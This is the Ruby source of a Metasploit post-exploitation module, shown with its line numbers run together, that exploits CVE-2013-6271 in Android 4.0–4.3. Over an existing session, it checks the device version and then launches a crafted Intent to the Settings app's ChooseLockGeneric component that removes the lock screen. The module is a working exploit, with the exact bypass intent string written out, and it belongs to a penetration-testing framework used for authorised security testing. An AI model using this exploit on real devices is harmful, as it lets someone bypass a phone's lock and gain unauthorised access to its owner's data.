Path: blob/master/modules/post/android/manage/remove_lock.rb
24756 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6Rank = NormalRanking78include Msf::Post::Common9include Msf::Post::Android::System1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Android Settings Remove Device Locks (4.0-4.3)',16'Description' => %q{17This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class.18Any unprivileged app can exploit this vulnerability to remove the lockscreen.19A logic flaw / design error exists in the settings application that allows an Intent from any20application to clear the screen lock. The user may see that the Settings application has crashed,21and the phone can then be unlocked by a swipe.22This vulnerability was patched in Android 4.4.23},24'License' => MSF_LICENSE,25'Author' => [26'CureSec', # discovery27'timwr' # metasploit module28],29'References' => [30[ 'CVE', '2013-6271' ],31[ 'URL', 'http://blog.curesec.com/article/blog/26.html' ],32[ 'URL', 'http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf' ]33],34'SessionTypes' => [ 'meterpreter', 'shell' ],35'Platform' => 'android',36'DisclosureDate' => '2013-10-11',37'Notes' => {38'Stability' => [CRASH_SERVICE_DOWN],39'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS],40'Reliability' => []41},42'Compat' => {43'Meterpreter' => {44'Commands' => %w[45android_*46]47}48}49)50)51end5253def is_version_compat?54build_prop = get_build_prop5556# Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop method returns57# empty.58if build_prop.empty?59fail_with(Failure::Unknown, 'Failed to retrieve build.prop, you might need to try again.')60end6162android_version = Rex::Version.new(build_prop['ro.build.version.release'])63if android_version <= Rex::Version.new('4.3') && android_version >= Rex::Version.new('4.0')64return true65end6667false68end6970def run71unless is_version_compat?72print_error('This module is only compatible with Android versions 4.0 to 4.3')73return74end7576result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')77if result.nil?78print_good('Intent started, the lock screen should now be a dud.')79print_good('Go ahead and manually swipe or provide any pin/password/pattern to continue.')80else81print_error("The Intent could not be started: #{result}")82end83end84end858687